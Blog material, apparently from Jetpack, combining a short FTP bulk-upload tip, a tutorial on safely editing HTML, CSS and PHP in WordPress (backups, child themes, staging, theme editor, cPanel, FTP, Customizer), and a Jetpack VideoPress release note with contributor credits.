Fortunately, you can bulk upload files to WordPress via FTP in three easy steps:

1. Connect to your site via an FTP client, like FileZilla.
2. Upload your WordPress files.
3. Register your uploaded files using a plugin like Add From Server. 

Are you looking for other ways to speed up the management of your WordPress site? Check out Jetpack’s WordPress performance tools to see how they can help! 

One of the main draws of using WordPress is that you can build websites without touching a line of code, but you still have the full freedom to edit source code if you wish. 

If you know how to add code to WordPress safely, you can change your website design and functionality to make your work a lot easier. What type of code you decide to insert is up to you. In WordPress, you’ll usually deal with HTML, CSS, and PHP.

In this article, we’re going to tell you what to do before you start adding and editing code in WordPress. Then we’ll show you how to insert HTML, CSS, and PHP into your website. We’ll cover multiple approaches to adding and editing code for each language.

What to do before you edit code in WordPress

Editing existing code within your site’s core files or making additions to them always carries a risk. If there are errors or you break existing functions, your website might stop working.

It’s possible to fix a website with errors in its code. But unless you have development experience, narrowing down the exact code that’s causing problems can be a challenge. 

With that in mind, we recommend that you take several steps to secure your website before you start adding or editing code. Think about this process as creating a safe environment to avoid problems down the road.

1. Back up your website

No matter the type of site you have, backups are absolutely critical. Why? Because if something goes wrong — a hack, plugin conflict, or code error — you can simply restore a recent backup to get your site up and running again.

In other words, backing up your site is the best way to protect your website if anything goes wrong.

To make this process easy, it’s best to use a plugin to automatically take care of everything or generate copies of your website on demand. 

Of course, we recommend Jetpack Backup — a complete solution that works in real-time.

With Jetpack, backups are securely stored off-site in the cloud, so there’s no load on your server. And since a backup is taken every single time something changes on your site, you can quickly restore one from right before an error occurred, even if your site is completely offline. 

If you choose to use another backup plugin, however, we recommend taking a full manual backup before continuing with the steps below.

2. Use a WordPress child theme

This measure only applies if you plan to edit your theme. WordPress enables you to make any changes that you want to any theme’s code, but when you update to a new version of a theme, any customizations will be lost.

To prevent this, you’ll need to use a child theme. A child theme is a secondary theme that pulls in features, functionality, and styles from its parent theme, but that doesn’t change when you update the parent. This means that the code you add to the child theme won’t be erased when you update the parent theme.

While you can create child themes manually, we recommend using a plugin instead. One of the best tools for the job is Child Theme Configurator.

Activate the plugin and go to Tools → Child Themes. Select the option to create a new child theme and select your current theme as the parent.

Click on Analyze, and the plugin will check to see if it can create a child theme for your selection. Under Select where to save new styles, choose the Primary Stylesheet option. 

For the Select Parent Theme stylesheet handling option, click on Use the WordPress style queue.

You can also customize the child theme’s attributes. These include the name, author, and description that will appear when you navigate to Appearance → Themes.

The attributes you choose are for internal use only. Once you’re happy with the settings, click on Create New Child Theme. 

If you navigate to Themes → Appearance, the new child theme should appear among the available themes.

Once the child theme is set up, you can start adding custom code to it. If you’re not sure how that process works, keep reading. We’ll show you how to edit CSS and HTML in WordPress in the following sections.

3. Use a staging website

The entire purpose of a staging website is to help you test new code and changes to your site in a safe environment. With a WordPress staging site, you can add code without having to worry about critical errors or downtime on your live website.

Typically, your web host will offer staging functionality. There are several options for WordPress staging plugins, but they can be a bit awkward to use. If you can access staging functionality through your hosting control panel, it will be much easier to create copies of your site and push changes from staging to production.

How to edit HTML, CSS, and PHP code in WordPress (10 methods)

Learning how to add HTML to WordPress is much easier than you might think. Still, the process will change depending on which type of code you want to use. Let’s start by talking about adding HTML using the Block and Classic Editors.

1. How to edit HTML in the Block Editor

This method allows you to edit any existing page or post using HTML within the Block Editor. It’s a straightforward method that shouldn’t pose any issues if you’re familiar with the Block Editor. 

To get started, open the editor. Once you can see the body of the page or post, click on the three-dot icon in the top-right corner of the screen.

Now click on the option that says Code editor.

The view in the body of the editor will switch from blocks to code. For each block, you’ll see a different section of HTML code.

Keep in mind that WordPress code editors don’t include any highlighting functionality. That means all code will appear as plain text. You’ll need to read carefully if you want to change or add to it. 

You can switch back and forth between the visual and code interfaces in the Block Editor. When you’re happy with the results, save the changes to your post or page.

2. How to edit HTML in the Classic Editor

Editing HTML code using the Classic Editor is straightforward. Open the page or post that you want to work on and locate the Text tab above the body of the document. 

Click on the Text tab, and you’ll see the contents of the Visual tab appear in plaintext format. By default, any text that you add without formatting won’t include any HTML code.

You can quickly add formatting and HTML code using the buttons at the top of the editor. The Classic Editor includes options for bold or italicized text, links, images, lists, and other types of code.

There’s also the option of adding HTML code manually. If you’re familiar with HTML, you can insert or edit it within the Text tab as you wish. The editor enables you to switch back and forth between the Visual and Text tabs to see the results.

3. How to edit HTML using the Theme Editor

WordPress lets you access and edit theme files directly from your dashboard. But if you plan on editing theme files, we recommend setting up a child theme beforehand. 

To access the theme editor, go to Appearance → Theme file editor. On the next page, you’ll see a plaintext editor to the left and a list of files to the right. That list of files corresponds to the theme that you choose from the top-right dropdown menu.

By default, the theme editor will open with the Style.css file for the theme you’re working on. Most of the theme files you can access using the editor involve either CSS or PHP. But you can edit several theme components using HTML.

However, in most cases, child themes only pull in the style.css and functions.php files by default. So if you want to edit an HTML file, like footer.html, you’ll need to copy it over to the child theme before making any changes using a file transfer protocol (FTP) tool or your hosting provider’s control panel. 

Using your tool of choice, go to public_html → wp-content → themes → your parent theme. Find the HTML file you want to edit and copy it to your child theme’s folder. Then, that file will be visible in the WordPress Theme Editor.

You can find your HTML files in the Theme Editor by selecting your child theme from the dropdown at the top right of the page, then clicking on the file from the list that appears.

We recommend not making any changes when you’re editing theme files unless you precisely understand what your code does. Otherwise, you risk breaking critical features within the theme and your website. 

4. How to edit CSS and PHP in the Theme Editor

To access the WordPress theme editor, go to Appearance → Theme file editor. You’ll see a list of the files that you can edit for your active theme on the next screen. To the left, you’ll see an editor tab displaying the contents of the file that you select.

By default, the theme editor will open to a stylesheet. The style.css file will contain all the CSS stylings for the theme. These include classes, IDs, button styles, and much more.

You can make any changes that you want to the style.css file. When you’re done, click Update File to save the changes.

That same process applies to PHP files. Select the .php file that you want to edit using the menu to the right. In this example, we’re editing the functions.php file.

Editing PHP code can be more delicate than working with HTML or CSS. With the latter, if you make an error, it can affect your website’s styling. In contrast, PHP code that doesn’t work can lead to broken functionality.

5. Editing HTML in a WordPress widget

As you may know, recent versions of WordPress enable you to edit widgets using blocks. That means instead of classic widgets, you can use the full suite of Block Editor elements in your widgetized areas.

To edit your widget areas, go to Appearance → Widgets. Here, you’ll be able to edit the available widget sections for your theme.

Some blocks can add custom HTML to your widget areas. Click on the plus sign button next to the Widgets heading and select the Custom HTML block.

Add the code you want within the block and move it around to change its placement. When you’re done, click on the Update button in the top-right corner of the screen.

6. Editing HTML through cPanel

If your web host offers a cPanel installation for your account, you can use it to manage and edit your website’s files. 

To get started, log in to your cPanel account and look for the File Manager option under FILES.

The File Manager enables you to navigate your hosting account’s files. Depending on your server’s structure, you might find yourself facing several folders. 

Look for the option that says public_html or www. Those directories should contain your WordPress site’s files.

This is called the WordPress root directory. Once you open it, you’ll find several subdirectories and files corresponding to your WordPress website. If you right-click on any of these files, you’ll see an Edit option.

Clicking on that option will launch the cPanel text editor. This editor is very barebones compared to any software installed locally. We only recommend that you use it to make minor HTML edits.

For more complex code updates, you’ll want to use File Transfer Protocol (FTP) and a local text editor. We’ll show you how to do that in the next section.

7. Editing HTML, CSS, and PHP using FTP

FTP enables you to connect to your website’s server so you can edit and upload files. With FTP, you can easily upload large numbers of files. This process would be time-consuming and difficult if you tried to do it directly through the WordPress dashboard.

More importantly, FTP can edit WordPress files and add HTML, CSS, or PHP code using any local text editor of your choice. 

To connect to your website via FTP, you’ll need a client (like FileZilla) and a set of credentials. Most web hosts provide you with FTP credentials at signup. If not, you should be able to create a new FTP account through the hosting control panel.

Enter your FTP credentials into your preferred FTP client and connect to the server. Once you establish a connection, you’ll see a list of folders and files.

With an FTP connection, you get full access to every file and folder within your account. To find your WordPress files, look for the directory called public, public_html, or www. Those are the most common names for the WordPress root directory.

Open the directory and locate the file that you want to edit. Right-click on it and select the option that says Edit. In these examples, we’re using FileZilla, so the menu reads View/Edit.

The View/Edit option will open the file using your local default text editor. Unlike cPanel or WordPress, dedicated editors make adding and interacting with code much easier. 

In this example, we’re editing wp-config.php, which is a WordPress core file.

You can add or edit any type of code that you want using a text editor. That includes HTML, CSS, and PHP. The only limitation is your knowledge of each particular language.

Once you finish adding or editing WordPress code, save the changes to the file and close it. Your FTP client will ask if you want to override the existing version of that file on the server. Select Yes, and that’s it.

8. Adding CSS classes using the Block Editor

If you want to use CSS to customize the appearance of blocks, the Block Editor lets you add classes to any element. This process is also very straightforward. 

To add CSS classes to a block, click on it and open the Settings tab. Then, look for the Advanced tab at the bottom of the block settings.

You can use the Additional CSS class(es) field to add one or more CSS classes to any specific block. The effect those classes will have depends on the WordPress custom CSS that you add.

9. How to edit CSS in the WordPress Customizer

The WordPress Customizer can make sitewide changes to your website’s style and layout through a visual interface. 

To access the Customizer, go to Appearance → Customize. On the next screen, you’ll see a menu to the left and a preview of your site to the right.

The Additional CSS tab will give you access to a basic editor to add custom CSS to your website.

Adding CSS using the WordPress customizer lets you preview the changes instantly. 

10. Editing CSS using a WordPress plugin

Some WordPress plugins offer alternative methods for adding custom code to WordPress. In most cases, these plugins focus on helping you add WordPress custom CSS or JavaScript. 

One example is Simple Custom CSS and JS. This particular plugin can add custom CSS, JS, and HTML code to WordPress from a simple menu.

Selecting the Add CSS Code option will open an editor. You can use that editor to insert custom CSS and choose where the code will go within your files.

Although adding custom CSS with plugins is simple, we recommend against this method. WordPress provides you with plenty of built-in options for adding and editing CSS code. If you want a more hands-on approach, you can always use FTP.

If you rely on a plugin to add custom CSS, the code might disappear if you uninstall the plugin. Furthermore, different plugins will add code using unique methods, so your results will vary depending on which tool you use.

Can you add JavaScript code to WordPress?

WordPress doesn’t provide any built-in functionality for adding JavaScript code to your website. Unlike with HTML and CSS, your only options with JavaScript are to use plugins or add the code manually through the theme editor or FTP.

Usually, the easiest way to add JavaScript code is to use a plugin. If you choose the manual approach, you can use JavaScript with WordPress with the PHP “enqueueing” function.

Should you optimize your WordPress code for better performance?

Code optimization is a broad term that encompasses several practices. These ensure that your code runs as smoothly as possible and doesn’t take up a lot of server space. 

By and large, code snippets shouldn’t take up too much storage. Still, you can reduce the space they occupy using “minification.”

Minification takes your custom HTML and CSS and removes empty spaces or unnecessary characters. To give you an example, here’s a simple custom CSS snippet:

p {
  text-align: center;
  color: red;
} 

If you take that code and minify it, it’ll look something like this:

p{text-align:center;color:red}

The output of the code remains the same, but the resulting file size can be smaller. In practice, minifying HTML and CSS code often won’t provide you with significant results. 

The exception is when you’re dealing with massive code libraries. Any size reduction will lead to shorter loading times for visitors.

In addition, choose your third-party code source carefully. Relying on reputable websites and expert developer forums can ensure that your code is effective, safe, and functional. In contrast, random snippets from unknown blogs are more likely to cause issues, slow down your site, and potentially break it. 

Customize WordPress using HTML, CSS, and PHP

Learning to add and edit code in WordPress is easier than you might think. Even if you’re not a developer, you can often find code that fits your needs with a quick bit of Googling. Knowing how to insert that code safely can enable you to customize your website in ways plugins alone might not be able to.

Before you start making any changes to your site’s code, we recommend creating a full backup. If you’re going to edit your theme’s CSS or PHP, you’ll also want to use a child theme. Depending on which web host you’re using, you might also have access to staging functionality. We recommend using a staging website when editing code for safety purposes.

This month, we’re excited to announce enhancements to VideoPress including the ability to set videos as private, new settings options for the payments button block, and under-the-hood improvements to enhance your Jetpack experience.

Share videos with your site members only using private videos

You can now individually or site-wide set all of your VideoPress videos as private, restricting playback to your site members only if desired.

Additionally, our video uploader has been enhanced with a progress bar and the ability to resume uploading videos where they left off in the event of issues like network interruptions.

And More

• The Payments Block now has additional settings field options: ‘Mark this payment plan as a donation’ and ‘Enable customers to pick their own amount’’
• Bug-fix: The Slideshow Block now works correctly when inserted into the Layout Grid Block.
• This release also includes many other bug fixes and improvements — check the changelog for more details.

Come Join Us

We continue to grow and have some exciting open positions available at our parent company Automattic, including in Engineering, Product, Marketing, Business Development, HR, Customer Support, and more.

Work for us, from anywhere: https://automattic.com/work-with-us/

A big thank you to everyone who contributed to this release:

Adnan Haque, Adrian Moldovan, Anna McPhee, Benedict Singer, Bogdan Ungureanu, Brad Jorsch, Brandon Kraft, Damián Suárez, Daniel Walmsley, Dean Sas, Derek Smart, Diogo Alves, Eric Binnion, Foteini Giannaropoulou, Grant Kinney, Igor Zinovyev, Ivan Ottinger, Jacopo Tomasone, Jared, Jason Moon, Jasper Kang, Jeff Ong, Jennifer M. Dodd, Jeremy Herve, John Caruso, Karen Attfield, Karthik Bhat, Kev, Kolja Zuelsdorf, Konstantin Obenland, Maciej Grabowski, Manzoor Wani, Marin Atanasov, Michael Cain, Miguel Torres, Miguel Xavier Penha Neto, Mike Wilkerson, Osk, Panos Kountanis, Paul Bunkham, Renato Augusto Gama dos Santos, Richard Ortiz, Samiff, Sergey Mitroshin, Siddarthan Sarumathi Pandian, Siobhan Bamber, Steve D, Veselin Nikolov, Yan Sern, Yaroslav Kukharuk, jboland88, leogermani, mkm119, sdixon194, thingalon